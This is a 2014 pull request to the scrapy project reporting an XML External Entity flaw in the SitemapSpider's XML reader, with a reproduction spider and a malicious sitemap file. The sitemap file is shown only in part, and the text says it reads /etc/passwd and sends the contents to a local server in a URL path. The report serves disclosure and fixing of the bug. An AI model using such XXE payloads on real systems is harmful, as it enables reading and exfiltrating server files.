scrapy/scrapy — pull request #676 by csalazar (2014-04-01 16:19:35+00:00)
Title: Fixed XXE flaw in sitemap reader

The XML reader, used by SitemapSpider to process XML sitemaps, is vulnerable to an XML External Entity (XXE) attack. The code to reproduce the bug is displayed below.

#### test.py

```python
from scrapy.contrib.spiders import SitemapSpider

class TestSpider(SitemapSpider):
name = 'test'
sitemap_urls = ['file:///tmp/malicious_sitemap.xml']

def parse(self, response):
pass
```

#### malicious_sitemap.xml

```xml

]>

http://127.0.0.1:8000/&xxe;

```

As result, the contents of _/etc/passwd_ are sent to the server http://127.0.0.1:8000/ as part of the URL path.